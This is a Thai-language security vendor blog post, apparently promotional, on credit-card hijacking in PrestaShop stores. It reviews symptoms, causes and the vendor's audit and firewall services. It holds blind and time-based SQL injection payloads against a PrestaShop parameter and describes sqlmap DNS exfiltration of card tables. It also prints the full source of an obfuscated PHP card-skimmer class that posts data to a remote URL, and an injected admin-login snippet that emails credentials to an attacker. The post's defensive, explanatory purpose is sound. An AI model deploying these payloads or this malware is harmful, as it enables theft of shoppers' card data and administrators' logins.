การทำธุรกรรมออนไลน์ได้เพิ่มความสะดวกในการทำธุรกิจอย่างแน่นอน แต่ด้วยความง่ายนี้ ความรับผิดชอบในการรักษาความปลอดภัยก็เข้ามา ร้านค้าอีคอมเมิร์ซที่ทำงานด้วย Prestashop มีข้อมูลที่ละเอียดอ่อนมากมาย ซึ่งรวมถึงรายละเอียดบัตรเครดิตของผู้ใช้ ดังนั้นข้อมูลนี้จึงทำให้เป็นเป้าหมายที่สุกงอมสำหรับผู้โจมตี การจี้บัตรเครดิตของ Prestashop เพิ่มขึ้นเรื่อยๆ เนื่องจากความนิยมของโซลูชันอีคอมเมิร์ซนี้ สามารถรับรองความง่ายในการติดตั้งและบำรุงรักษา ตามหนังสือ PrestaShop 1.5 Beginner's Guide ,
Prestashop Credit Card Hijack:อาการ
การจี้บัตรเครดิต Prestashop สามารถทำได้หลายวิธี อาจเป็นสคริปต์ที่เป็นอันตรายบนเซิร์ฟเวอร์หรือบรรทัดของ Javascript บ่อยครั้งอาจเป็นการฉีด SQL หรือหน้าฟิชชิ่ง ดังนั้นความเป็นไปได้ที่หลากหลายนี้จึงทำให้ยากต่อการตรวจจับ อย่างไรก็ตาม มีสัญญาณบางอย่างที่สามารถโจมตีได้:
- ตารางฐานข้อมูลที่ไม่รู้จักก่อนหน้านี้ เช่น Sqlmap ปรากฏขึ้น
- บัญชีผู้ดูแลระบบที่ไม่รู้จักปรากฏบนแดชบอร์ด
- บัตรเครดิตของลูกค้าถูกขโมย
- เข้าสู่ระบบแดชบอร์ดจาก IP ที่ไม่รู้จัก
- หน้าใหม่ที่ไม่รู้จักปรากฏบนเว็บไซต์
- ไซต์เปลี่ยนเส้นทางไปยังโดเมนที่ไม่รู้จัก
- การวิเคราะห์แพ็กเก็ต Wireshark แสดงข้อมูลที่ส่งไปยังโดเมนที่ไม่เหมาะสม
- ผู้ใช้บ่นเกี่ยวกับปัญหาที่เกี่ยวข้องกับการชำระเงิน
- บันทึกของเซิร์ฟเวอร์แสดงกำลังเดรัจฉานหรือความพยายามในการฉีด SQL
รายละเอียดบัตรเครดิตถูกขโมยจากร้าน Prestashop ของคุณหรือไม่. ส่งข้อความถึงเราบนวิดเจ็ตการแชท เรายินดีที่จะช่วยเหลือคุณ แก้ไขเว็บไซต์ Prestashop ของฉันทันที
Prestashop Credit Card Hijack:สาเหตุ
การฉีด SQL ใน Prestashop
การฉีด SQL สามารถประนีประนอมฐานข้อมูลของร้านค้า Prestashop ของคุณ สาเหตุหลักของ SQLi คือการขาดการดูแลอินพุต นักพัฒนามักไม่ปรับใช้แนวทางการเข้ารหัสที่ปลอดภัย ด้วยเหตุนี้ ช่องโหว่เช่น SQLi และ XSS จึงเกิดขึ้นในโค้ด ช่องโหว่ SQLi แบบ zero-day สำหรับ Prestashop เผยแพร่ในปี 2014 คอมโพเนนต์ที่มีช่องโหว่คือ id_manifacturer
. URL แบบเต็มได้รับด้านล่าง
ใน URL ต่อไปนี้ สามารถใส่ข้อความสั่งหลังจาก id_manufacturer นอกจากนี้ ยังเป็น Blind SQLi ชนิดหนึ่ง โดยพื้นฐานแล้วข้อมูลจะถูกดึงออกมาในรูปแบบบูลีนเท่านั้น ในบางครั้ง นักพัฒนาจะระงับข้อผิดพลาดภายใน สิ่งนี้ทำเพื่อหลีกเลี่ยงผู้โจมตีจากการค้นพบช่องโหว่ อย่างไรก็ตาม หากเซิร์ฟเวอร์ยังคงดำเนินการคำสั่ง ข้อมูลก็สามารถดึงออกมาในรูปแบบบูลีนได้ นี่เป็นกรณีของ SQLi ที่ตาบอด แม้ว่าจะต้องทำการร้องขอหลายรายการเพื่ออ่านเนื้อหาของฐานข้อมูล สิ่งนี้ทำให้การแสวงหาผลประโยชน์ด้วยตนเองใช้เวลานาน เพื่อตรวจสอบ SQLi ตาบอด
https://example.com/ajax/getSimilarManufacturer.php?id_manufacturer=3 and 1=1
ขั้นแรกดูว่าคำสั่งนี้ดำเนินการเป็นจริงหรือไม่ ประการที่สอง คำสั่งที่=3 and 1=2
ดำเนินการเป็นเท็จ นี่เป็นกรณีของ SQLi ที่ตาบอดอย่างแน่นอน อย่างไรก็ตาม ในบางครั้งอาจเป็น SQLi แบบบอดตามเวลา ในสถานการณ์นั้น เซิร์ฟเวอร์จะให้คำติชมบูลีนหลังจากเวลาหนึ่ง เช่น
https://example.com/ajax/getSimilarManufacturer.php?id_manufacturer=3 and if(1=1, sleep(10), false)
ที่นี่ผู้ใช้จะต้องรอ 10 วินาที . หลังจากนั้นเซิร์ฟเวอร์จะส่งการตอบกลับจริงหรือเท็จตามการสืบค้น
การเอารัดเอาเปรียบอัตโนมัติ
การเอารัดเอาเปรียบอาจดูเป็นงานที่ต้องใช้ความอุตสาหะ แต่มีเครื่องมืออัตโนมัติที่พร้อมใช้งาน Sqlmap สามารถใช้ประโยชน์จากมันสำหรับผู้โจมตีได้อย่างง่ายดาย หลังจากนั้นผู้โจมตีสามารถอ่านตารางได้ps_payment_cc
. ตารางนี้มีคอลัมน์id_order_payment,card_number,card_brand,card_expiration
. จึงขโมยรายละเอียดบัตรที่บันทึกไว้ทั้งหมด ในกรณีที่ตารางมีขนาดใหญ่ ผู้โจมตีสามารถเร่งการโจมตีโดยใช้การสืบค้น DNS เนื่องจาก Sqlmap มาพร้อมกับตัวเลือก--dns-domain=
. ดังนั้นผู้โจมตีจึงสามารถกรองข้อมูลโดยใช้การสืบค้น DNS แทนการส่งออกตามเวลาที่ช้า อย่างไรก็ตาม ผู้โจมตีจะต้องควบคุมเครื่องที่ลงทะเบียนเป็นเซิร์ฟเวอร์ DNS ดังนั้นจึงเป็นเรื่องสำคัญที่จะต้องคอยติดตามการสืบค้น DNS ที่ออกจากเซิร์ฟเวอร์ของคุณ อย่างไรก็ตาม ไม่แนะนำให้เก็บข้อมูลบัตรเครดิตของผู้ใช้ไว้บนเซิร์ฟเวอร์ เว้นแต่ผู้ดูแลระบบจะทำการตรวจสอบความปลอดภัยของ Prestashop และทดสอบการทดสอบเป็นประจำ แม้ว่าทั้งหมดนี้สามารถหลีกเลี่ยงได้หากนักพัฒนาใช้คำสั่งที่เตรียมไว้!
มัลแวร์ Prestashop บัตรเครดิต
บางครั้งการแฮ็กบัตรเครดิตใน Prestashop อาจเกิดจากสคริปต์ที่เป็นอันตรายในไซต์ของคุณ ผู้โจมตีใช้ประโยชน์จากไซต์ก่อนโดยใช้เทคนิคที่รู้จัก โดยส่วนใหญ่แล้วจะเป็นหนึ่งใน 10 อันดับแรกของ OWASP หลังจากนั้นจึงติดตั้งมัลแวร์ มัลแวร์นี้เชื่อมต่อกับฐานข้อมูลก่อน จากฐานข้อมูล มันก็จะขโมยข้อมูลบัตรเครดิต ซึ่งมักจะมีอยู่ในps_payment_cc
ตาราง
ด้านบนนี้เป็นข้อมูลโค้ดของสคริปต์การจี้บัตรเครดิตของ PrestaShop ที่นี่สคริปต์เชื่อมต่อกับฐานข้อมูลก่อน หลังจากนั้นจะขโมยข้อมูลบัตรเครดิตจากฐานข้อมูล
มาดูมัลแวร์บัตรเครดิตอีกหนึ่งตัวที่ติด/vendor/composer/autoload_real.php
ไฟล์
class SiF { function __construct($conf) { $this->encrypt = FALSE; $this->in = $_POST; $this->test = isset($this->in['siftest']); $conf = explode('SiF', str_rot13($conf)); if(count($conf)!=2)return; $this->key = $conf[0]; $conf = explode('|', base64_decode($conf[1])); $s = array_shift($conf); $s = explode(';;', $s); $this->conf = array(); foreach($s AS $d) { $d = explode('::', $d); if(count($d)==2) $this->conf[trim($d[0])] = trim($d[1]); } array_shift($conf); $this->data = $conf; $this->get(); if($this->test) $this->out('[sifok]'); }
function get()
{
if($this->search($this->data[0])===FALSE) return;
foreach($this->data AS $i => $v)
{
$v = $this->search($v);
$this->data[$i] = $v===FALSE ? '' : $this->crypt($v);
}
$this->set();
}
function set()
{
$data = implode('|', $this->data);
$data = $this->crypt('SiF').'|'.$data;
if(!$this->encrypt) $data = base64_encode($data);
$data = $this->post_fgc($data);
if($this->test) $this->out($data);
}
function get_fgc($data)
{
$url = $this->conf['url'].'?'.$this->conf['param'].'='.urlencode($data);
if($this->test) $url .= '&test';
return file_get_contents($url);
}
function post_fgc($data)
{
$data = array($this->conf['param'] => $data);
$options = array(
'http' => array(
'header' => "Content-type: application/x-www-form-urlencoded\r\n",
'method' => 'POST',
'content' => http_build_query($data)
)
);
$context = stream_context_create($options);
return file_get_contents($this->conf['url'], false, $context);
}
function search($key)
{
$f = $this->in;
if(preg_match_all('/(?:^|\[)([^\[\]]+)/s', trim($key), $a))
{
foreach($a[1] AS $v)
{
if(is_array($f) && isset($f[$v])) $f = $f[$v];
else return FALSE;
}
return $f;
}
return FALSE;
}
function crypt($s)
{
if(function_exists('openssl_public_encrypt'))
{
$key = "-----BEGIN PUBLIC KEY-----\n".$this->key."\n-----END PUBLIC KEY-----";
if(@openssl_public_encrypt($s, $code, $key))
{
$this->encrypt = TRUE;
return base64_encode($code);
}
}
return $s;
}
function out($s)
{
echo $s;
exit;
}
}
new SiF('ZVTsZN0TPFdTFVo3QDRONDHNN4TANQPOvDXOtDQG7ZWRtSDNht63nRT/RT2LPUJFPT1Eg4snl3Dvg0BDTc7SS0o//K7XbiRS3fZ+SCHEL+UP7dtvdinygJCfNRxDPgghOSrx2xH2p9A/pqf0zLW5Q4GZPVeoGZFtQesyvSRGDwlFT5Zf4ScH9A40ahDkBRZol/0lbDp8zAou8Njv1DVQNDNOFvSqKWfBwcbqUEjpmbiY2ygM3A0LKDho3WaY3ZiZGR7B3OupzSgBwcxsTMipz18MTIfnKMypaysoaIgsTEyoTy2MKW5K2I4pS9go250nUkxMJkcqzIlrI9yrUOsrJIupakxMJkcqzIlrI9wqaM8MTIfnKMypayspT9mqTAiMTI8MTIfnKMypaysMzylp3EhLJ1ysTEyoTy2MKW5K2kup3EhLJ1ysTEyoTy2MKW5K2yxK2AiqJ50pay8MTIfnKMypaysL2y0rKkxMJkcqzIlrI9cMS9mqTS0MKkxMJkcqzIlrI9jnT9hMKkxMJkcqzIlrI9uMTElMKAmZKk8MJ1unJksL29hMzyloJS0nJ9h'
สคริปต์ที่เป็นอันตรายคือระยะที่สองของการโจมตี ในระยะแรกช่องโหว่ที่ทราบบางจุดถูกนำไปใช้ประโยชน์ หลังจากที่อัปโหลดสคริปต์ขโมยข้อมูลรับรองแล้ว ดังนั้นจึงไม่แนะนำให้เก็บข้อมูลไว้ในฐานข้อมูล สำหรับร้านค้าอีคอมเมิร์ซ ขอแนะนำให้ทำการตรวจสอบความปลอดภัยและทดสอบเพื่อค้นหาวิธีที่เป็นไปได้ทั้งหมดที่จะแทรกมัลแวร์ลงในเว็บไซต์ของคุณ
ฟิชชิ่ง
สามารถใช้ฟิชชิ่งเพื่อจี้ Prestashop Credit card ขนาดใหญ่ได้ โดยทั่วไปแล้วผู้โจมตีจะสร้างหน้าเข้าสู่ระบบปลอม ผู้ใช้อาจไม่สามารถแยกแยะได้ ดังนั้นพวกเขาจึงอาจเปิดเผยข้อมูลที่ละเอียดอ่อนซึ่งนำไปสู่การแฮ็กบัตรเครดิตใน Prestashop มีหลายวิธีที่หน้าเหล่านี้อาจถูกสร้างขึ้น บางส่วนได้แก่:
- XSS :ผู้โจมตีใช้ XSS เพื่อโหลดสคริปต์ที่เป็นอันตรายจากโดเมนที่เป็นอันตราย สคริปต์นี้แทนที่เนื้อหาของหน้าเดิม หน้านี้ถูกแทนที่ด้วยหน้าเข้าสู่ระบบฟิชชิ่ง หลังจากนั้นผู้ใช้ส่งข้อมูลในหน้าเหล่านั้น หน้าฟิชชิงส่งข้อมูลนี้ไปยังโดเมนที่ควบคุมโดยผู้โจมตี
- SQLi :ผู้โจมตีอาจได้รับเชลล์แบบย้อนกลับโดยใช้การฉีด SQL การใช้ reverse shell นี้ ผู้โจมตีอาจแทนที่หน้าการชำระเงินเดิมด้วยหน้าฟิชชิ่ง
- FTP :พอร์ต FTP ถูกเปิดขึ้นสู่อินเทอร์เน็ต หลังจากนั้นผู้โจมตีอาจได้รับข้อมูลรับรองการเข้าสู่ระบบ หลังจากนั้นจึงสร้างหน้าฟิชชิ่ง
- ซีโร่เดย์ :ผู้โจมตีอาจได้รับ reverse shell เนื่องจากช่องโหว่ zero-day เนื่องจากการติดตั้งล้าสมัย จึงสร้างหน้าชำระเงินปลอม จึงนำไปสู่การจี้บัตรเครดิต Prestashop!
ข้อมูลประจำตัวที่อ่อนแอ
ข้อมูลประจำตัวที่อ่อนแอเป็นสาเหตุหลักที่อยู่เบื้องหลังการจี้บัตรเครดิตของ Prestashop รหัสผ่านที่ไม่รัดกุมสามารถทำลายได้โดยใช้การโจมตีแบบเดรัจฉาน เมื่อผู้โจมตีได้รับรหัสผ่านแล้ว แดชบอร์ดจะเปิดขึ้น จากนี้ไปผู้โจมตีบางคนจะใช้แนวทางที่แตกต่างออกไป แทนที่จะรอและรวบรวมข้อมูลการสมัครจากฐานข้อมูลอย่างเฉยเมย ผู้โจมตีแทรกหน้าด้วยรหัสเพื่อส่งข้อมูลนั้นแบบไดนามิก ตัวอย่างเช่น มัลแวร์ประเภทหนึ่งแทรกโค้ดลงในไฟล์/controllers/admin/AdminLoginController.php
. โดยทั่วไปแล้วโค้ดที่เป็นอันตรายจะมีลักษณะดังนี้
public function processLogin() { /* Check fields validity */ $passwd = trim(Tools::getValue('passwd')); $email = trim(Tools::getValue('email')); $to = "[email protected]"; $subject = "panel admin prestashop ". $_SERVER['SERVER_NAME']; $header = "from: hacked <[email protected]>"; $message = "Link : https://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] ."&up=hous \r\n email: $email \r\n pass: $passwd \r\n by bajatax -- sniper :v \r\n"; $message .= "Path : " . __file__; $sentmail = @mail($to, $subject, $message, $header); $sentmail1 = @mail($to, $subject, $message, $header);
ที่นี่โค้ดในสองสามบรรทัดแรกกำลังรวบรวมตัวแปรทั้งหมด หลังจากนั้นฟังก์ชัน PHP จะส่งอีเมลไปยังบัญชีของผู้โจมตี ในกรณีนี้ มันคือ [email protected] . พารามิเตอร์ต่างๆ ที่ส่งมีดังนี้:
- ถึง: ข้อมูลนี้มีรหัสอีเมลของผู้โจมตีที่จะส่งข้อมูล ในกรณีนี้คือ
[email protected]
- เรื่อง: ซึ่งมีข้อความต่อไปนี้
panel admin prestashop www.infectedDomain.com
. - ส่วนหัว: ส่วนหัวมีข้อความ
hacked <[email protected]>
. - ข้อความส่วนที่ 1 :พารามิเตอร์นี้มีข้อมูลที่ละเอียดอ่อนทั้งหมด ซึ่งรวมถึงโดเมนที่ติดไวรัส ในกรณีนี้
https://www.attackeddomain.com
. หลังจากนั้น URI ซึ่งก็คือ/admins/ajax-tab.php?rand=1470989908670&up=hous
. ตามด้วยอีเมล[email protected]
. และสุดท้ายรหัสผ่าน นี่อาจเป็นสตริงสุ่มใดๆ ที่ผู้ใช้ป้อน ในที่สุดก็มีข้อความสุ่มซึ่งก็คือby bajatax — sniper :v
. - ข้อความส่วนที่ 2 :ส่วนที่สองของข้อความมีเส้นทางภายในของไฟล์ที่ติดไวรัส ในกรณีนี้
/usr/home/www.attackeddomain.com/web/controllers/admin/AdminLoginController.php
.
อย่างไรก็ตาม หลังการค้นพบมัลแวร์ Google ได้บล็อกบัญชี Gmail ของผู้โจมตี หลังจากนั้นก็พบมัลแวร์รูปแบบใหม่นี้ ซึ่งก่อนอื่นตรวจสอบว่าสามารถส่งอีเมลไปยังผู้โจมตีได้หรือไม่ ในกรณีที่ไม่ใช่ รายละเอียดจะถูกบันทึกลงในไฟล์ในเครื่องที่ชื่อว่า uspas.txt . ในขั้นตอนต่อไป ผู้โจมตีสามารถรับข้อมูลบัตรเครดิตได้เช่นเดียวกับการลงทะเบียนของผู้ใช้ นี่เป็นการสรุปการจี้บัตรเครดิต Prestashop!
การตรวจสอบความปลอดภัยและไฟร์วอลล์ของ Prestashop
การตรวจสอบความปลอดภัยของแอสตร้า
เพื่อให้ร้านค้า Prestashop ปลอดภัย ต้องหาช่องโหว่ให้เจอ สิ่งเหล่านี้สามารถเปิดเผยได้โดยใช้การตรวจสอบความปลอดภัยที่สมบูรณ์เท่านั้น มีโซลูชั่นมากมายในตลาด เช่นเดียวกับที่ Astra จัดให้
การมีส่วนร่วมกับ Astra จะให้บริการดังต่อไปนี้:
- ช่องโหว่ทั่วไปที่เป็นที่รู้จัก เช่น SQLi, XSS, สแปม และอื่นๆ 80+
- การประเมินช่องโหว่และการทดสอบการเจาะระบบ (VAPT)
- นอกจากนี้ยังตรวจพบข้อบกพร่องในการจัดการราคาอีกด้วย นอกจากนี้ยังสามารถค้นหาข้อผิดพลาดทางตรรกะทางธุรกิจได้อีกด้วย
- การวิเคราะห์โค้ดแบบคงที่และแบบไดนามิก
- ความช่วยเหลือด้านเทคนิคในการแพตช์พบช่องโหว่ด้านความปลอดภัย
- Collaborative Cloud Dashboard สำหรับการรายงานช่องโหว่
- เข้าถึงเครื่องมือรักษาความปลอดภัย/API ของเรา
- ที่ปรึกษาแนวทางปฏิบัติที่ดีที่สุดด้านความปลอดภัยของเว็บ
- ค้นพบพอร์ตที่เปิดสู่อินเทอร์เน็ต
- ค้นหาการกำหนดค่าเซิร์ฟเวอร์ที่ผิดพลาดที่ทราบ
- การตรวจจับการคลิกแจ็ค
- การตรวจสอบและการอนุญาตใช้งานไม่ได้
- ค้นหาจุดบกพร่องของการยกระดับสิทธิ์
- ช่องโหว่ในปลั๊กอินของบุคคลที่สามและอีกมากมาย
การทดสอบได้รับการปรับแต่งและปรับแต่งอย่างสูงตามเว็บไซต์และข้อกำหนด
ขอบเขตการทดสอบความปลอดภัยทั่วไป:
- เว็บแอปพลิเคชันของลูกค้า
- การจัดการและการรวมการชำระเงิน
- พอร์ทัลการดูแลระบบ
- API และบริการเว็บ
แอสตร้าไฟร์วอลล์
ไฟร์วอลล์ Prestashop ช่วยให้แน่ใจว่าบล็อกการเข้าถึงร้านค้า Prestashop ของคุณโดยไม่ได้รับอนุญาต การรับส่งข้อมูลขาเข้าทั้งหมดจะถูกสแกน ด้วยเหตุนี้คำขอที่เป็นอันตรายจึงลดลง ไฟร์วอลล์ Astra สแกนหาการอัปโหลดมัลแวร์ การพยายามอัปโหลดสคริปต์จี้บัตรเครดิตของ Prestashop จะถูกบล็อก แอสตร้ายังติดตามกิจกรรมการเข้าสู่ระบบ ดังนั้นหากแดชบอร์ดถูกบุกรุก ผู้ใช้จะได้รับแจ้ง นอกจากนั้น Astra ยังช่วยให้มั่นใจว่าการติดตั้งเป็นปัจจุบัน ดังนั้นจึงให้การปกป้องร้านค้าของคุณตลอด 24 ชั่วโมง!